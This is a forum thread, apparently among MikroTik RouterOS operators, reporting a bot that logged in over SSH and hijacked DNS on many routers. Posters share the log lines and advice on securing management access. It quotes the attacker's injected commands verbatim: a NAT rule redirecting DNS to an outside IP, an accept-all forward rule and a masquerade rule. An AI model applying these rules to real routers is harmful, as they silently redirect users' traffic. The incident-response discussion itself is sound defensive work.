Is there an new exploit going around?

RouterOS General
1

Hello Guys
Earlier this morning I was hit with an dns redirect to youtube video and I like to know if anybody else seen it coming from:
add action=dst-nat chain=dstnat dst-port=53 protocol=udp to-addresses=
185.117.88.13 to-ports=53
This was found in nat settings and I see nobody was able to login to my routers remotely with different IP’s then what mine was and I dont see any other logs that somebody else logged into the router. I just upgraded the firmware to 6.45.6 earlier today.

So I like to know if anybody else got hit with this.

I have created an facebook topic about it: https://www.facebook.com/groups/wisptalk/1093280887669592/?comment_id=1093492804315067&notif_id=1571255554537508&notif_t=group_comment

Sudden lost of all admin passwords and admin users
2

No, never seen that in any of my routers…

3

Thank you so much for posting this. Yes, same thing here. Have had 300 customers down all day. Found the NAT entry and all is good now. I also need to know if this is a new exploit.

4

What firmware are (were) they on ? Also are you on standard Winbox ports etc. I’ve heard another user with this who were firewalling their external access for Winbox and were wondering if some internal malware was doing it.

Many thanks for the info.

5

It hit us as well. 6.42.6.

Locked down tight.

I can’t even get into the box remotely. I have to remote into my network then get into the box.

The only difference between this and boxes that weren’t hit were EoIP and GRE tunnels. I’ve got older boxes on the internet with the same firewall that were untouched, same subnet.

6

I know Tim & I have been discussing this elsewhere but good to see a thread started here.

I’ll share what I know so far, having had some of our own clients’ routers experience the same attack last night.

The attacker is managing to log in via SSH as user ‘admin’. There were zero failed login attempts by this IP before the successful one was recorded, so the password was not brute-forced, and the ‘admin’ password was different on the different routers I know of that got hit, so it couldn’t have been known/obtained ahead of time, either. So it seems that either there is a vulnerability that is allowing one to achieve SSH login with ‘admin’ credentials and an unknown password, or that the attacker is managing to obtain the admin password from the router itself via an exploit to some other service (probably outside of SSH).

That last part shouldn’t be possible if you are running 6.45, because CVE-2018-14847 is closed in that version/branch, and supposedly routers upgraded to that version will also have the old password store that uses reversible encryption deleted, so even if the password file was obtained, it only contains non-reversible hashes now.

But we have seen at least one 6.45 router successfully attacked.

Here are the SSH log entries we see; the source IP for these is the same across all routers we’ve seen the log entries on, but different from the one that the injected rules are redirecting DNS requests to:
oct/15 23:48:58 system,info,account user admin logged in from 109.251.192.80 via ssh oct/15 23:49:01 system,info filter rule added by admin oct/15 23:49:01 system,info nat rule added by admin oct/15 23:49:01 system,info nat rule added by admin oct/15 23:49:01 system,info,account user admin logged out from 109.251.192.80 via ssh
It seems that most of the routers we have encountered this on were attacked shortly before 23:00 PDT (GMT -0700) …the timezone on the router that I took the above log entries from is set incorrectly.

Some routers were logged into more than once and had the same firewall filter & NAT rules added more than once. So this is surely some bot that is connecting to seemingly random IPs.

As you can see, the bot added 3 firewall rules. The one added to firewall filters is just a basic “chain=forward action=accept” rule. Besides the NAT rule that redirects DNS to that Bulgarian IP, the bot also adds a simple “chain=srcnat action=masquerade” rule as well:
/ip firewall filter add action=accept chain=forward /ip firewall nat add action=dst-nat chain=dstnat dst-port=53 protocol=udp to-addresses=185.117.88.13 to-ports=53 add action=masquerade chain=srcnat
These are the only settings that the bot touches.

7

I have the same problem. I am from Poland. I am using old Netgear DG834 with firmware V4.03.04. Today I noticed that DNS adresess are changed to 185.117.88.13 and secondary 85.217.222.73 What is going on?

8

Hmmmm, when I updated my Hap ac2 to 6.45.5, I started getting all of a sudden lots of SSH timeout errors in log. On further investigation, all the firewall rules were broken as the in interface list item seems to have been deleted, so I suspect this started there already

see topic http://forum.mikrotik.com/t/v6-45-5-stable-is-released/132743/38

Logged a ticket, [Ticket#2019090122001404] but not much came from it

9

Hey All-
Those of you that got hit- did you have ssh or any other management services open to the internet or was ssh somehow enabled with an exploit?

10

My affected router was on a public IP address and running SSH on a non-standard port. Unfortunately we updated it before checking its current version. No units under the affected one were touched, just the public unit.

11

Plus one here. Same timeline, same NAT setting.

12

Same here on a CCR1036-12G-4S with 6.44.3

13

I always disable SSH through IP services… :slight_smile:

14

Same here, 6.42.1

15

I can confirm, same here. Luckly, We got only about 10 mikrotik hacked.
I think in at one case the use api port 8728. We have variuos firmware versions.

The last year has been very tougth with a lot of exploits for Mikrotik routeros. It’s because mikrotik is becoming popular or the quality of the OS is lowering?
We are looking around for alternatives

16

Had a look into my logs as I log every connection to port 22 and 23 and blocks those IP’s for 30 days.
I see a increase in blocked addresses but both for port 22 and 23 with port 23 dominating in the logs.

In general management ports like SSH and Winbox should not be open to internet by default. Add portknock rule or limit to internal or a few external IP addresses.
Having security issues in network equipment is something we have to get use to. I work a lot with Cisco and man do we have to focus on Security issues now.
Last year was crazy but it’s more to focus what the issues is and see the risk. If the exploit is on Telnet and we have Telnet disabled we do not have to patch etc.
But in the end bad configuration together with exploits is what is causing the issues, not only exploits.

Edit: spelling

17

+1 All my routers have all management services firewalled and only accessible from a management address-list, unused services disabled. Not one of my routers has been hit.

Only thing accessible from 0.0.0.0/0 is ICMP, anything else, is accessible only by individual /32s (/128s) (BGP, SSH, etc.) IPv4 and IPv6.

18

Disconcerting, I look forward to an official response

19

Many versions above include vulnerable versions. Also, mostly nobody is saying what firewall you have and what services are open to public. Please all share more details.

  • running version
  • did you perhaps upgrade from an older/vulnerable version to this one?
  • have you deleted the old user and made a new one with new pass?
  • are you seriously using “admin” ?
  • what services open
  • firewall rules
  • logs
  • send supout.rif to support
20

Oh yes - that’s the other thing I do by default. admin username is deleted / renamed.